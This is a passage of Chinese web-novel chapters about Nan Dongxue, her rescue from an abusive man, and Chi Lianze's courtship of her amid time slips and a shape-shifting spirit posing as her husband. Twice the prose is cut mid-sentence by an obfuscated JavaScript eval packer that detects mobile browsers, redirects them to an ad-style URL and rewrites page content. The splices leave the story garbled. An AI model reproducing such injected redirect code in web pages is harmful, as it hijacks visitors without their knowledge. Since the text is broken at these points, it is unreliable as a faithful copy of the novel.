炽连泽抬脚欲踹,见宋敏安害怕了,没碰着他便收回来,一腔怒气憋在心里,无论如何也咽不下去。 “妙华,看看冬雪怎么样了?”林森说。 谁都想把这个禽兽不如的家伙痛扁一顿,然而谁都像炽连泽一样,是个理智的人,深知这样做对大家毫无好处。他们有证据证明这个人当街强掳南冬雪,好让警察插手来处理。 “让开!”方颖轻轻推开没用的炽连泽,走到宋敏安正面,把炽连泽没能踹下去的那一脚踢出去了。 宋敏安的牙被踢掉了一颗,落在水汪汪的路面上。口中的血和唾液混合着流出来。 “他就是英雄,专门来收拾你这种人渣的。你怎么还看不清自己是个什么货色呢?为什么一口你才是那个英雄的语气?我可不像他们不敢动手。” “我一句话就让你……”宋敏安因为疼痛快要说不出话来,“我只是打了我女朋友一巴掌,多大的事啊,你们却对我进行谋杀,我会告你们谋杀,一个也跑不了。” 方颖火气又被点燃,还要再动手,听见妙华喊道,“南冬雪的头撞破了,已经流了很多血,得快点送医院。林森,快点!” 25. 胜蜉蝣 一道强光射入眼帘。南冬雪的身体被人扶了起来,终于觉得好些了。她迷迷糊糊睁开眼睛,感到脸上一片湿湿的东西黏糊糊粘在脸上。额头被人紧紧按着,很疼。 光里有三个人。一个方颖老板,一个侧脸白得发光的俊秀男人,正在狠揍另一个看起来很虚弱无助的儒雅男人。 “她是你女朋友?你配吗?!别脏了这几个字!” 他们在干什么? 思绪像奄奄一息的鱼一样沉进深深的水里去了。她睁眼看着,但眼里的一切都没法留在记忆里。 我是不是傻了?南冬雪呆呆的望着白色的天花板,脑子里也像白板一样空无一物。 一只手在她眼前晃了晃。南冬雪被这突如其来的动作吓得眨了眨眼,一张白净的帅脸凑了过来。 “嘿,南冬雪,我还以为你变傻了呢!说句话啊,南冬雪,你怎么了?头还疼吗?” 他怎么话这么多?吵得人耳朵疼。 他一说疼,南冬雪这才感觉到额头是有些疼。她努力坐起来,男生热心照顾,搭把手扶了她,又多此一举的把被子掖好。她摸了摸脑袋,绷带缠得额头发紧,实在不舒服。 “你是谁?” 不知是先倒水,还是拿水果,或者是先让病人喝粥的男生,每一样都准备两下,结果又都放下了,皱着眉头看着排在一队的几样东西,显得手足无措。 听到南冬雪这话,男生大惊失色,睁大了眼睛,张大嘴巴,假意作出恨恨的表情。炽连泽以为南冬雪在逗他玩,但看着她那迷茫的表情,又有点儿相信了,转身去捧了那杯水在手里,低着头说话。 声音相比刚刚弱了几分,也少了欢快的精气神。 他说,“你别担心,有我在,我会照顾你的。” “可你是谁啊?我怎么知道你是不是趁火打劫欺负我?” 炽连泽静默了两秒,抬头,看着南冬雪的眼睛,满脸的委屈巴巴,像一只需要揉揉脑袋才会好的小狗。 一张看起来很周正、靠谱的帅脸,能做出这样的表情,也是十分不容易。 他猛然凑近。南冬雪吓了一跳,脑袋本能地往后仰,眼珠子乱转,想要伸手推他,但被子两边被他紧紧按住,让她的手藏在被子底下不能有任何动作。 其实她是防备的心理。无论对谁,一有人靠近,她都防备。 炽连泽不擅长课堂学习,却最懂察言观色。 “我是你的……” 柔声细语,要把人的骨头酥成渣。 丈夫?不行,炽连泽说不出口。他也还没准备好。 男朋友?也不行,这会让他想起那个可恶嘴脸的宋敏安。 爱人?更不行。炽连泽一想到南冬雪最爱的人是张梧桐,胸腔里那颗心就开始发疼。该怎么定义他和南冬雪的关系?他想要和南冬雪在一起,和她一起笑,一起走路,一起工作,听她不怎么真诚的夸赞,永远的对她那股子清冷的劲儿着迷。 本来想逗她,却在玩笑话必须马上说出口的时候卡了壳,开始认真的思考,奈何无论怎样也想不到该如何表明他热烈的想要成为她的什么人。 炽连泽恨不能回到学校里去,再当一遍学生,去努力的读书。 “什么?” 南冬雪的眼神在他脸上逡巡。此时她是什么心情已经不重要了。无论什么,都让炽连泽的心跳加速。 她的气息扑在他的鼻尖,像是狗尾巴草,又像是蝴蝶,在他的心头不停的搔痒、嬉舞。 “是你表叔。”炽连泽“噗嗤”一声笑出来。 南冬雪的轻柔一巴掌也拍在他脸上。 正当炽连泽从南冬雪身边躲开时,方颖正推开病房的门进来看到了那一幕。她把手里的鲜花随意放在床头的花瓶里,在椅子上坐下来,翘起了二郎腿,打量着两个人。 妙华和林森也跟在后面,坐在床尾,一边一个,关心备至。 “你们两个是什么关系?看起来挺亲密的嘛!”方颖不关心伤员,先开始八卦。 炽连泽怀着希望看向南冬雪,等她开口。 “很久以前是同学。”南冬雪说。 炽连泽对此很不满意,但没说话。 “普通同学吗?普通同学都快亲一块去了。”方颖翻了个白眼。“你老公呢?南冬雪,你不是有一个很相爱的老公吗?怎么没来?出差不回来?” 此话一出,妙华和林森忽而想起来好像是有这么回事。他们还在找张梧桐的线索,但已经淡漠了那个人和南冬雪的关系。 炽连泽在面前,南冬雪担心说谎会被这个脑袋缺根筋的笨蛋拆穿。 “还有,你和宋敏安是怎么回事?你知道吗?那个人面兽心的老混蛋口口声声说你是他女朋友,情侣打架,调解处理,大事化小小事化了,气得我当着警察的面又敲了他脑袋,结果赔了不少钱给那老东西。” 又是一笔债。南冬雪觉得额头的伤又疼了。 到底是命比较重要,还是钱比较重要?南冬雪心想,只有穷人的钱比命重要。要是她在宋敏安手里一命呜呼了,这个杀人凶手是不是也会跟着完蛋?付出这么沉重的代价,是值得的吗? 她的病床前,也有这么多人在了。他们是将她从死亡边缘拉回来的人,她有点舍不得,离开这世界了。 “你,你,你是怎么回事?你是谁在这大呼小叫的,把我家亲爱的吵着了。”炽连泽从这个人一进来就不喜欢她的作风,更不喜欢她说话。 在场的人谁都看得出,炽连泽突然冒出来的这句话是在留了几分情面的反击。 妙华和林森一脸吃瓜震惊样。 “她是我老板,你别大呼小叫。”南冬雪皱着眉头制止。 旁人看起来她十分温柔。炽连泽那只狂吠的狗瞬间乖顺了些。 “还有那是妙华姐,这是我大学师兄林森,他们两位是夫妻。” 炽连泽一一向人问好。 “怎么?你是结巴吗?”看到南冬雪身边只有这样的人作陪,方颖对她的心疼又多了几分,走过去捧着她的脸,轻轻抚摸两下,“小可怜,我知道你是乖孩子,乖孩子容易吃亏。先好好养着伤,等你好了,我带你出去叱咤风云。” 南冬雪弱小无助,委屈巴巴的点点头。 妙华跑过去,挤走方颖,“我也要捏捏。” 南冬雪被当成了可爱的玩具。 “不过,虽然是结巴,但是会为了你打架。”方颖看了看炽连泽,倏然转变了态度,对南冬雪说,“其实是单方面殴打他人。” “不好意思,我不是结巴。”炽连泽的语气并非冷冰冰,也没有怀着善意。他纯粹的不喜欢这个人进来病房后的所有行动。昨晚还以为她是个多么理智有手段的女人,现在看来不过也是个爱嚼舌根的八婆。 “你干嘛呀!”南冬雪对他表示不满。 炽连泽和南冬雪对视了两秒,立刻向南冬雪的老板道歉,“对不起,谢谢你挺身而出救了她。” 并且鞠了深深一躬。 方颖何不受用,轻轻的一抬手,尖着嗓子说,“起来吧!提起昨晚,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109943|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到很奇怪,你是从哪里冒出来的?” 林森也对方颖的疑问表示支持,“对啊,我也很奇怪,就像是突然从雾气里冒出来的。”妙华也跟着用质问的眼神看他,等着他做出回复。 炽连泽觉得自己被这三个人针对了。要解释其中原因那再简单不过,只是他担心这些人没有经历过不会相信。他看向南冬雪。要如何应对?是实话实说,还是编造谎言,是反转局势压倒对方的咄咄逼人,还是温和相待?他可编不出来能够令人信服的谎话。 “你们怎么会都跑来救我?其实那时候我都看见了,颖姐,华姐,师兄,还有炽连泽,你们一起赶来了,真是太感谢了!”南冬雪抱着方颖和妙华哭,“我差点就死了,还能见到你们真是太好了!我怎么会这么幸运,感谢你们来救我,我都不知道该怎么报答你们!” 这一通哭,几个人心里都难受得很,转而把注意力集中在南冬雪身上,安慰了很久,自然而然也就把炽连泽如何出现的那件小事给抛到九霄云外去了。 安慰着安慰着,最终南冬雪被劝着躺下,成功进入睡眠。几个人打算离开,炽连泽走在最后相送。 方颖觉得奇怪,“你这是打算留下来彻夜守着她吗?” “有什么问题吗?”炽连泽脸上已经显露出内心的得意,这让其他人为南冬雪的安危感到担心。 “我必须得问一问,你们是什么关系?” 炽连泽眼眸流转,灵机一动,“青梅竹马,两小无猜,感情深厚,我爷爷是她爸爸族谱关系上的哥哥。两家人比邻而居五六十年了。” “放心吧,方老板,刚刚我们进来的时候,人家两个不是很亲近的嘛。” 妙华这么一说,三个人暗戳戳、心意相通的笑。他们刚刚都看见这两人快要亲上去了。 炽连泽尚不明白他们当着自己的面在搞什么鬼。 走出病房,上了电梯,方颖问,“那个炽连泽看起来不像是好人,小肚鸡肠的,你们了解吗?刚刚的相处已经能够了解一个人了,那个男的就是小心眼,南冬雪和这样的男人在一块,能快乐吗?你们和她关系近,就把我这话转达给她。” “南冬雪是个聪明的人,知道自己想要什么。我们可不会多嘴。”妙华说。 林森补充,“以前南冬雪提过,小时候有一个邻居家的男孩,堪称完美,她很羡慕。今天一见,我想就是他。冬雪不拒绝一个男人靠近自己,那就代表她对那个人很放心。” “南冬雪是有什么怪癖吗?”方颖提出尖锐的问题,“听你这么说……” 林森意识到自己说错了话,妙华赶紧打岔,“每个人都有点不一样,方老板,我请你吃顿饭怎么样?感谢你帮忙照顾南冬雪。” “这是什么话?我请你们才是,谢谢你们帮忙照顾南南。”方颖自来熟的把妙华的胳膊一挎,开启了絮叨的模式,“你不知道,我第一次见到南南,就觉得和她有眼缘,想当她姐姐……” 林森在两个女人身后恍然失了神。记忆闪现在某个冬日的深夜,一群人走在学校里空无一人的马路上,他心情不好,落在最后面,南冬雪注意到后也慢下来,和他走在一起,关心他的情绪。 南冬雪一直是个温柔细腻、多愁善感的女生。当他觉得自己一无是处,南冬雪却说,“我想要交朋友的人一大把,想要和我交朋友的人,师兄你还是第一个。我们也算是朋友吧。你对每一个人都很好,没想到也会包括我,我常常想,我真幸运遇见你……” 现在,冬雪她拥有了第三个朋友。真好。 26. 我见青山 一个人痛苦的入睡,如同独自陷进了无尽的虚无深渊之中。他无力反抗,等到那无形之手终于放开了他,他才从那幽深黑暗的地方爬上来,带着一身的伤痕。 他睁开眼睛,对于重返人间还不适应。他也喜欢清风明月,浩瀚星空,似乎能抚慰受伤的心灵。每经历一次蜕变,他都渴望从那不言语的风、花、草、木、沟渠、春夏与秋冬中寻求恢复精神的力量。 很多个日子,窗外阳光明媚,他睁开眼睛都会看到南冬雪的侧脸。 阳光洒在她的身上,连她脸上微小的绒毛也在发光,恍如太阳的使者。 他每次都不禁感慨,这个人是不是永远不会犯困,永远的精神旺盛,像一汪源源不断的泉眼。就算趴在桌子上睡着,也是灵魂狂舞的状态。 现在,南冬雪真正的陷入了香甜的睡梦之中。她很漂亮。炽连泽直勾勾盯着她的脸。只有她睡着了,炽连泽才敢这样肆无忌惮的释放自己的情绪。 和她在一起,这可能成为现实吗?和她在一起,他的心就会自然的抖落尘土变得灵智吗?是不是会玷染了她?他对她的感情,是什么? 他的手更大胆的伸到她的脸上方,蝴蝶振翅一般悠然经过那双有着浓密睫毛的双眼。映在她脸上的影子,像他的心一样,暗中悸动,但不露全貌。 他伸出手指,想要点点她那可爱的鼻子。只离她半厘米的距离,炽连泽真怕自己一不小心笑出声来吵醒了她,被发现自己怀着如此的心思。不过,发现了又怎么样?他早已表明了自己的意思。 南冬雪正静静看着他。 暗笑顿时僵住。四目相对,并没有他幻想中那么愉快。炽连泽自然而然的放下那只罪恶的手,帮南冬雪拉了拉并不需要往上提的被子,而且过分的把她的脸整个蒙住。 南冬雪把头露出来,看见炽连泽原本是跪在床边的,现在正在站起来。南冬雪扭过头,不去看他。如果两人是很单纯的关系,或者换一个人跪在那里,满心喜欢的欣赏她的睡颜,南冬雪觉得自己早就轻易的沦陷了。不需要他来主动,她会先索吻,求拥抱,牢牢记住那幸福的一刻。 炽连泽去摆弄床头的鲜花。想起是方颖送来的,便把它拿到窗台上去,把他自己买的花整理好放在南冬雪的床头。 “你觉得这合适吗?”南冬雪说。 “你指的是什么?”炽连泽忙着手上的活,抽空看她一眼,意犹未尽。“你刚刚是在装睡吗?” “不装睡,师兄和老板他们不知道什么时候才能走。我挺不适应的。”南冬雪坐起来,甚至下了床。一个站不稳,炽连泽连忙过来扶,抓住了她的两只胳膊,把她整个人的重量转移到自己身上。 “我没事。”南冬雪不敢看他。炽连泽什么时候变得这么贴心了呢?他对别的女孩子也是这样的吗?没有分寸感? 她走到窗边,看了一眼方老板送来的那束花,实际上比起炽连泽那束红玫瑰,她更喜欢白百合。天色已暗,窗外灯光点点,自由又静谧。“我们只当家人就可以了,好吗?” 就像她和她的家人。 “什么?南冬雪,你答应了?你说你要做我的家人?”炽连泽惊喜的凑过来,吓了南冬雪一跳,身体本能地向后仰去,炽连泽眼疾手快的已经准备好去护她,幸好南冬雪自己稳住了。 南冬雪从来不相信一个人的眼里突然有光是真实存在的,但是这一刻她信了。炽连泽眼里冒出的光,让她自行惭愧。 这么美好的一个人,干嘛把时间耗费在自己身上? 她当然也懂得这份爱。炽连泽独自在医院消失,直到现身救了她,说明他自己一个人经历了长达十个小时的时间错乱。从那个魔爪中逃出来之后,他的爱意更甚,显然与之前不同了。 这次是赤裸裸的告诉别人,他喜欢她,他满眼都是她。但她没有办法坦然的接受。 南冬雪做出无语的表情,“我的意思是,我把你当弟弟。你把我当亲姐姐,这样的家人。我一直都是这么和你相处的,你不能突然间……” 说话声越来越小。 炽连泽对此并不认可,而且觉得南冬雪简直不可理喻,“要是你说怀疑我对你的喜欢,想要和你成为一对恋人,最后顺利结婚成家的心,我还能理解,你说这个,是把我当傻子吗?换一个理由。” “啊?”南冬雪没想到他会这么直接的批评她。可她说的都是真心话。“那……你这么优秀的人,应该喜欢和你一样优秀的。” 炽连泽猛然把南冬雪拉进怀里,他的下巴几乎贴上她的额头。南冬雪被吓懵了,身体僵直,无法动弹。炽连泽则笑嘻嘻把双手按在窗台上,身体便向他逼近,一张脸也从南冬雪的耳边擦过去,又转过头来冲她的耳朵说话。 他眼底透着几分调侃,嘴上却说着质问对方为何不给他爱的话,“你这意思是我不够优秀,配不上你吗?嗯?” 南冬雪不想怯场,又实在不能从怔怔的精神状态中摆脱出来。于是她用尽全力提起一只脚,踩在他的脚上,狠狠的用力。 炽连泽却愉快的笑出了声,“你越让我疼,我就越开心,你说这是为什么?我好爱你,老婆。” 老婆?南冬雪爆发出极大的力量,想抽他一巴掌又想推开他那张正在自己眼前笑意吟吟的脸,结果就是,她用了大力,甩开胳膊,只是尽了推开那张脸的力气。 炽连泽原地不动,只有脸被推得歪向一边。他又贱兮兮转过脸来,笑得更无耻道,“老婆真舍不得打我啊,抱抱,要人工呼吸我才原谅你。” 刺耳的“呲啦”一声响,病房的门被人从外面推开了。南冬雪和炽连泽同时看过去,本以为是医生或者护士,结果站在门口的人,是另外一个炽连泽。 “啊!”南冬雪顿时惊叫,后退着绕开眼前这位不太正常的炽连泽,跑向门口那位,被护着躲在他身后。 一个饶有兴趣继续做客,一个精神紧绷、眉目不善的盯着这怪物。 “张梧桐?”炽连泽试探道。 南冬雪听到这个名字,再次偷偷摸摸的看了一眼,分明是炽连泽的外表。是谁都可以,为什么偏偏是炽连泽?明明告诉过他的!为什么要这样折磨我? “我可不是张梧桐。”这位炽连泽的脸黑了黑,转瞬又恢复阳光开朗的气质,“介绍一下,我也是炽连泽,如假包换!哎呀,你要是不出现的话,老婆马上就要答应和你在一起了,你可真倒霉。看看你们这样子,好啦好啦,我走了。” 房间里闯进一股凉风,没有人说话,安静的可怕。南冬雪探头去看,发现窗户开着,窗帘在风中飞舞,刚刚那位炽连泽的身影已然消失,任谁来看都觉得他是从窗户离开的。 她想去看看,但没有力气。一种恐惧已然犹如一头猛兽,啃掉了她大半个身体,剩下的残肢碎屑正艰难的支撑着原本的形状。她很害怕。他说他不是张梧桐。他用炽连泽的身体来骗她,而她差点上当了。 不仅是这种苦楚,还有别的,说不清道不明,或许是此生所有的委屈都趁机跑来讨债了。 炽连泽关了窗户回来,南冬雪正瘫在地上哭。这是第二次,看见南冬雪如此脆弱无助的模样。炽连泽不管不顾的走过去想要抱她起来,坐在暖和的地方,再好好的发泄情绪。 一只膝盖刚刚落地,炽连泽还没碰她,南冬雪先抱了上来,抓着他的衣襟埋头继续哭。炽连泽只好脱掉了外衣披在她身上,轻轻抱着,也不去看她,给她足够的私密空间静静等着她自己将不好的情绪完全发泄出来。 “没事的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114838|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有我在。” “我会陪着你的,没关系。” 一遍遍的安慰。炽连泽的眼里也慢慢有了泪痕。他抬手一抹,这个动作被南冬雪捕捉到了。时间已经过去了半个小时,此刻的她已经哭累了,眼睛哭的又涩又疼,心里的恐惧感也变钝了。她不想炽连泽看见自己一副狼狈的样子,便躲在炽连泽的衣服里擦脸。 炽连泽向后在地板上坐下来,正好将躲在洞里的南冬雪看个完整。他微微笑着,像是饱经沧桑的人终于明白幸福就是以前每天都会做的那件最简单的、最容易触及的事情,满足的品尝到了甜蜜。 已经被看到的情况下,南冬雪再遮遮掩掩便显得此地无银三百两了,她一横,“你笑什么?要是你看到两个我的话,不会害怕吗?” “我当然不会害怕。你可没有我那么可怕。”炽连泽想起曾经在时空循环里回到童年的山坡上,和南冬雪肩并肩的那一幕,顿了一下,又说,“我在笑我们还都好好活着。笑南冬雪你痛哭一场,终于缓和回来了,还能冲我发火。” “是活着,但很痛苦。” “是很痛苦,但也能活着。”尾音落地之时,炽连泽的声腔已经变了。南冬雪抬眼一看,这人竟然眼泪汪汪的过来准备求抱,“我能抱着你哭会儿吗?” 南冬雪正在思索如何拒绝。谁让她刚刚脑子发热一头钻进这房间里唯一的活人怀里寻求安慰?这就要还回去了?可是他们两个抱在一起不太好吧?! 她实在无法对着这样的炽连泽表示拒绝,胳膊微微一抬,炽连泽自觉的扑过来了,抱着她的脖子,将脑袋放在她的肩膀上。没有声音,只是能够感觉到他时不时抬一下手,是在擦眼泪。 “像你这样也会哭啊?” “南冬雪,看见你我就想起我妹妹了,我无法原谅我自己。” “不是你的错。”是我的错。这件事情上,她也无法面对炽连泽。他对她越好,她就越恨自己。但她也想放过自己,重新开始生活。所以,对不起他的妹妹,也要继续对不起他。 “我那天还骗她说会给她买糖吃。一说给她吃糖,她能快乐好几天。我知道这不是谁的错,但我一想起来就会恨自己恨得要死。我也恨自己为什么要冲你生气?我只对我妹妹和你做了坏事,她不能原谅我了,你还能原谅我……” “我不怪你啊!” “我需要你原谅我,南冬雪……” “我原谅你了啊,不是你的错。” “不够,这不够……远远不够,我很害怕我迷失在某个时空,谁都不知道,带着不被原谅的仇恨死掉……南冬雪,为什么你……不能成为……我的救命稻草?” “你看到了……” “宋敏安是个老渣男!” 炽连泽放开南冬雪,难以置信的看着南冬雪的眼睛。她惊慌失措,无助之至。 “不是……” 话没说完,炽连泽又打断,“喜欢过渣男,玩过过家家那又怎样?谁在乎这个?南冬雪,你的脑子被什么东西教坏了?为什么要任凭那些封建糟粕把自己束缚起来,和那些已经心理扭曲的人站在一边坑害你自己?你喜欢做什么就做什么,想和谁在一起就和谁在一起,就算你和我在一起,心里装着别人,就算……算了,南冬雪,我不能逼着你和我在一起。” 你也挺扭曲的。南冬雪心想。 “我有喜欢的……” “张梧桐是神是鬼,你知道吗?你丝毫不在意我们的处境吗?” 南冬雪神情低落,“我知道他是谁。从我有记忆时起,他就总是在我困难的时候默默护着我,我知道他是谁……” “我也保护了你很久,你都不知道啊。” 这无力的申诉,终于换来南冬雪坦诚的怜惜。 27. 风雨欲来 只要她知道他对她好,这就够了。不需要她多说什么,再做什么,只要她知道他为她所做的事情。炽连泽就会从中获得满足感、存在感。 以前是这样,现在更甚。 然而这种怜惜仅仅持续了半分钟。南冬雪垂着眼眸,想了想,质问他时语气温柔但态度斩钉截铁,不容置疑。 “昨天晚上你是突然冒出来的,我看到了,你是从哪里冒出来的?” “我是……”过去和未来交杂的时间点。 这话他没打算告诉南冬雪。如果她觉得他所受的痛苦都是因为她和张梧桐,她会因此更加内疚。不过,没能被南冬雪看出来,他心里挺难过的。难道聪明人和笨蛋的崩溃表现是不一样的吗? 他迟钝了几秒,话头就被南冬雪抢走了。 “你能及时赶来救我,不是因为张梧桐给了你这种能力吗?” 什么?南冬雪是这种人吗?她在说什么话?现在是否认他的能力吗?炽连泽气急了,但也无可奈何,只能憋出一句,“才不是!” “颖姐还有师兄他们偏偏就看到我被宋敏安拐上了车,你不觉得很巧吗?” “那有什么问题?你连他们对你的好也在怀疑,是这个意思吗?”炽连泽只觉得心里窝火,努力去整理思路却显得无能为力。 南冬雪自顾自继续说,“我知道自己没有那么好的运气。到底是谁在救我,我自己知道。炽连泽,你能送我回家吗?” 炽连泽正一肚子气,好不容易找到了突破口,想要同总是一意孤行的南冬雪好好辩论辩论,谁知她突然来这么一出。他能不听话吗? “可是现在是晚上,回家干什么?医生让你多休养几天,说你的伤口不容易愈合,很危险。” “我有东西丢了,需要回家找找。炽连泽,你别让我说这么多话了,好不好?我现在心里很难受。” 炽连泽再也不敢随便开口,伺候着南冬雪穿上厚厚的外套,把她裹得只剩一双眼睛从挡风眼镜后面看人。 他打开了门,正要请南冬雪先走,没想到她很自觉的挤到了他前面,往门外迈出一步,向两边看看,似乎有些失望,低着头往前走了。 南冬雪如此无礼,炽连泽却很开心,这说明她把他当自家人。要是处处都端着,客气又礼貌,让人觉得很有距离感。 炽连泽似乎忘了刚刚的不愉快,乖乖的跟在她身后,等到需要他服务的时候再快步上前帮她打开门,或者去按电梯,开车门、关车门。 路上一直安静。炽连泽的耐心也只能维持一个多小时,老毛病又犯了,他忍不住去和南冬雪说话。 “要不要一起去吃夜宵?” “你昨天去2024年2月经历了什么?” “我知道一家很好吃的粥店,跟我一起去试试吧?现在我们都是伤员了,得多吃点好的补补。” “你是随心所欲想去哪里就去哪里吗?还是说,每次都能见到他?也是他让你出现的吗?”昨晚,打开宋敏安的车门。南冬雪回想着。 “南冬雪,你故意这么气我吗?再这样我就……”炽连泽想不到合适的威胁方法,苦思冥想,气急败坏的屈着两只爪子,在南冬雪身后作出一副要吃掉她的样子。 南冬雪终于听见了他的话,扭头去看他,正好看到了这一幕。 炽连泽肢体僵硬,一时收不回来。 此时,电梯也停下来了,门缓缓打开,门外站着一群中学生,都静静地看到了炽连泽的奇形怪状。 南冬雪并没有感觉到任何尴尬,或者丢人,自动的忽略了那群学生眼里富有活力的种种情绪,抬手把炽连泽的手拉下来,带着他走出电梯。 炽连泽要花上十分钟才能从刚刚的丢人现眼?或者对于他本人来说,是足够他窃喜很久很久的一件事。他和南冬雪之间的某种亲密关系——旁人不可复制、不可取代的专属互动被一群生命力满满的少年见证了。 等楼道里空无一人,南冬雪把炽连泽的手往前一扯,让他走在前面,自己却停下来不动。 炽连泽有些疑惑,回头看着她。 “帮我开门。”南冬雪说。 炽连泽走了两步,想起一件重要的事情,回头去问,看见南冬雪摘下了帽子和眼镜,拿在左手上,此刻正在解围巾。 “不能到家再脱吗?”炽连泽忍不住像老妈子一样批评。他觉得自己大概要心梗了。 “帮我开一下门。”南冬雪又说了一遍请求。 “可是我没有钥匙。”他刚刚想起来的重要事情就是这个。 “不需要钥匙,只要去开就可以了。” 炽连泽照做。他也很奇怪,什么门只需要他这个陌生人一拧就能打开?这样的门会安全吗?那岂不是别的人也能打开?南冬雪怎么奇怪到这种地步?她脑袋瓜子里的东西,他什么时候才能理解? 走到门前,炽连泽看见那分明是指纹锁,但他还是把手放上去,往下拧。 “咔哒”一声。 果然开了。门缝里透出一丝光来,还有炒菜的声音。 那些信息只在炽连泽的感官中停留了很短的时间,短到门“哐当”一声被人从里面关上时,要努力去回忆才能记住刚刚发生了什么。 炽连泽从余光中瞧见楼道的地板上有奇怪的东西,转过头去,果真,他没看错。 五米的距离,从围巾、眼镜,到外套,再是毛衣、裤子、鞋子、袜子、还有贴身的秋衣秋裤。 所以,南冬雪刚刚是只穿着内衣跑进去的?! 他看到了她……没穿衣服的样子?!炽连泽大为震惊。可惜刚刚那一瞥的记忆里,他很确定只看到了南冬雪的背部。 她的右边肩胛骨处一片红,那是什么东西? 她干嘛要把衣服扔在这里,突然跑进去? 炽连泽想着她此刻没有穿衣服,不方便见人,但还是想问问这到底是怎么回事?看看她在发什么疯,便轻轻的敲了门,一 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只听到他的声音,南冬雪的心便被冻了一截。屋里的空调是25℃,说明是夏天。茶几上摆着两个被做得歪歪扭扭的茶壶,有人正打算往里面放置织好的毛线小花。 这明明是张梧桐才会做的事情。 南冬雪有些绝望。她不该这么冲动,如此自以为是。本以为会求得他的可怜,回到张梧桐失踪的前一夜。 系着围裙,手里拿着抹布和锅铲的炽连泽,看着只穿着一套内衣的南冬雪,并无大惊小怪。他放下手里的东西,在毛巾上用力擦了两下手,到客厅沙发上拿了毛毯朝南冬雪走过来。 “你看你,怎么这样就出来了?是在引诱我吗?” 南冬雪伸手扯过毛毯捂在身体上,向后退。 “还生我气呢?老婆,你都磕破脑袋了,还这么气自己,我觉得你是在折磨我。你看,这个……”炽连泽从身边的鞋柜上摸来一只红色天鹅绒的盒子,单腿下跪,将盒子捧起,打开来,亮出放在里面的一条心形红色宝石项链。 面对炽连泽变得手足无措、无脸见人的南冬雪在看到这条项链的时候,瞬间放松下来。房间里的温度刚刚好,她觉得十分舒适,不再渴望温暖的东西。 南冬雪拿起那条项链,又抓住面前这个人的手,把项链绕了几下之后,她试着扯开,但他们的手紧紧被缠在了一起。 “能不能不要用炽连泽的脸,让我见见真正的你。”南冬雪恳切的目光落在对面这人的眼睛里。她从中看到了炽连泽从来没有的慈悲、博爱,对她的爱怜不足世间一尘。“就算是张梧桐也好,我不想和炽连泽在一起,不愿意和其他任何男人在一起。我不想给任何一个人伤害我的机会。为什么,你不能继续留在我身边?我们可以换一个城市生活,没有人认识,没有人在意,我只想和你在一起,这样不行吗?” 28. 花满楼 他看着手上的那条红宝石项链,像是在嘲笑她的不自量力,轻轻松松把手往下一扭,他逃开了南冬雪的束缚,向后退了一步,身体的形状开始变得虚无,发出比暖黄色要刺眼一些的金色光芒。 他的容貌也失去了炽连泽的样子,只呈现出人脸的形状,像是任何一个人,也不像任何人。 “你为什么要顶替张梧桐的身份和我结婚?你也想和我在一起生活,陪在我身边,是不是这样?”南冬雪逼近一步,至少要确证张梧桐是不是原本不存在,只是一个梦。 “过去的事情已经结束了。是我做错了。” 这是承认了。 “你到底是什么?” 南冬雪再近一步,他的人形已经彻底消散,和灯光融为一体,原地蒸发了一般。 但他的声音还在南冬雪耳边,或者准确的说,应该是直接在心中响起。 “想和我在一起,就算死去也没关系吗?” “我无所谓。”南冬雪脑海中浮现出以前的种种经历来,展现出常人难以匹及的对死亡的平静来,甚至是期待。 “不过,你真正的目的是想为了炽连泽献身吗?你以为我是为了你才去伤害他的吗?你太天真了。既然你不珍惜,亲爱的,以后你再也不会见到我了。真是失望,至今为止,仍然没有一个人能和小时候一样招人喜欢。” 他的声音完全消失了。南冬雪眼前的光更加刺眼,她几乎无法睁开眼睛去看东西,被迫挡了眼睛,然而,顿时陷入了另一番环境之中。 周围一片金色,没有任何东西。她所站立的地方也不是地板,像是悬空漂浮在这个地方。身体从内部越来越热。 像是在被火烧。 没错,如果那天没有我的帮助,炽连泽不会打开车门,也就不会那么快救下失血过多的你。 心里的声音在解说。 这个时间,你应该在被火化,亲爱的,和这个世界说再见吧。你不喜欢它,也从来没有过期待,以前为你所做的种种,都是我做错了,对不对?在彻底毁灭之前,你想回答我这个问题吗?我做错了吗?以前那么多次,都是我做错了吗? 想知道炽连泽在错误的时间里经历了什么吗?我也会让你体验一次。你别怪我,我本来就不是什么做好事的神。这些都是你们自找的,以为折磨自己就能与那些罪恶一笔勾销。 南冬雪无法回答。她感觉到自己在燃烧,五脏六腑都变得空洞。接着,她看到自己正在被燃烧。她正在被火化。头上的伤疤深可见骨,全身的皮肤已经被烤焦。 纵然不是怕死,也会被这一幕吓坏。南冬雪站在墙角里极度无助。她无处可逃。 还是六岁的小女孩的时候,坐在台阶上,拖着受伤流脓的腿,也是这样绝望。她不知道可以去哪里,也不知道哪里还有人可以帮帮她。 十三岁的南冬雪,惊恐的看着镜子里的自己,从脖子里流出来的血浸透了她的白衬衫。那是她第二天准备去参加合唱准备的衣服,是奶奶从炽连泽家借过来的。听说是炽连泽的奶奶当天去店里买了新的回来给她。 噩梦重现。 仅仅是这样吗?南冬雪想。她对张梧桐说,仅仅是这样吗?鬼难道会被自己吓到吗?你是不是太幼稚了一些。她只是害怕那血腥的场面,不是畏惧死亡。 过了这么多年,她的成长,最显著的部分就在于此。 